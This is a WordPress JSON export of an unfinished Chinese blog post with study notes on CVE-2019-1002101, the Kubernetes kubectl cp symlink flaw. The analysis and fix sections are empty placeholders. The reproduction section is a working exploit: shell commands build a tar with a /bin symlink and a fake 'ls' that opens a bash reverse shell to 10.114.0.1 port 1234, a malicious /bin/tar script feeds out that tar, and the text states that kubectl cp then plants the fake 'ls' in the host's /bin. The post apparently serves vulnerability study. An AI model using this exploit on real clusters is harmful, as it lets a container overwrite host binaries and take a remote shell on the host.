{"id":528,"date":"2023-07-19T14:39:57","date_gmt":"2023-07-19T06:39:57","guid":{"rendered":"https:\/\/h4ckm310n.com\/?p=528"},"modified":"2023-07-19T14:39:57","modified_gmt":"2023-07-19T06:39:57","slug":"%e3%80%90%e6%9c%aa%e5%ae%8c%e3%80%91cve-2019-1002101%e5%ad%a6%e4%b9%a0","status":"publish","type":"post","link":"https:\/\/h4ckm310n.com\/?p=528","title":{"rendered":"\u3010\u672a\u5b8c\u3011CVE-2019-1002101\u5b66\u4e60"},"content":{"rendered":"<p><!--more--><\/p>\n<h4>\u6f0f\u6d1e\u5206\u6790<\/h4>\n<p>\u5f85\u8865\u5145&#8230;<\/p>\n<h4>\u6f0f\u6d1e\u590d\u73b0<\/h4>\n<p>\u7cfb\u7edf\uff1aUbuntu 18.04<br \/>\nKubernetes: 1.13.4<\/p>\n<p>\u9996\u5148\u521b\u5efa\u4e00\u4e2apod\uff0c\u8fd9\u91cc\u6211\u7528\u7684\u662fUbuntu\u7684\u955c\u50cf\uff1a<\/p>\n<pre>apiVersion: v1\r\nkind: Pod\r\nmetadata:\r\n  name: pod1\r\nspec:\r\n  containers:\r\n  - name: c1\r\n    image: ubuntu:16.04\r\n    command: [\"tail\", \"-f\", \"\/dev\/null\"]\r\n<\/pre>\n<p>\u5728\u5bb9\u5668\u4e2d\uff0c\u521b\u5efa\u4e00\u4e2atar\u538b\u7f29\u5305\u3002\u8fd9\u91cc\u6211\u5148\u521b\u5efa\u4e00\u4e2a\u6307\u5411\/bin\u7684\u7b26\u53f7\u94fe\u63a5\uff0c\u518d\u5220\u6389\u7b26\u53f7\u94fe\u63a5\u5e76\u521b\u5efa\u4e00\u4e2a\u540c\u540d\u7684\u76ee\u5f55\uff0c\u5728\u5176\u4e2d\u653e\u4e00\u4e2a\u53ef\u4ee5\u521b\u5efa\u53cd\u5f39shell\u7684ls\u7a0b\u5e8f\uff1a<\/p>\n<pre>ln -s \/bin .\/d\r\ntar -cf malicious.tar .\/d\r\nrm -f .\/d\r\nmkdir .\/d\r\necho -e '#!\/bin\/bash\\n\/bin\/bash -i &gt;&amp; \/dev\/tcp\/10.114.0.1\/1234 0&gt;&amp;1' &gt; .\/d\/ls\r\nchmod +x .\/d\/ls\r\ntar -rf malicious.tar .\/d\/ls\r\n<\/pre>\n<p>\u63a5\u4e0b\u6765\u521b\u5efa\u4e00\u4e2a\u6076\u610f\u7684\/bin\/tar\u7a0b\u5e8f\uff1a<\/p>\n<pre>#!\/bin\/bash\r\ncat \/malicious.tar\r\n<\/pre>\n<p>\u56de\u5230\u5bbf\u4e3b\uff0c\u8c03\u7528kubectl cp\uff0c\u6b64\u65f6\u5728\u5bb9\u5668\u4e2d\u521b\u5efa\u7684\u6076\u610fls\u5c31\u4f1a\u88ab\u8986\u76d6\u5230\u5bbf\u4e3b\u7684\/bin\u4e2d\uff0c\u5f53\u5bbf\u4e3b\u4e2d\u7684\u7528\u6237\u8fd0\u884cls\u7684\u65f6\u5019\uff0c\u5c31\u4f1a\u89e6\u53d1\u53cd\u5f39shell\u3002<\/p>\n<h4>\u5b98\u65b9\u4fee\u590d<\/h4>\n<p>\u5f85\u8865\u5145&#8230;<\/p>\n<h4>\u53c2\u8003<\/h4>\n<p>[2.1] <a href=\"https:\/\/github.com\/brompwnie\/CVE-2019-1002101-Helpers\/\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/brompwnie\/CVE-2019-1002101-Helpers\/<\/a><br \/>\n[3.1] <a href=\"https:\/\/github.com\/kubernetes\/kubernetes\/pull\/75037\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/kubernetes\/kubernetes\/pull\/75037<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center 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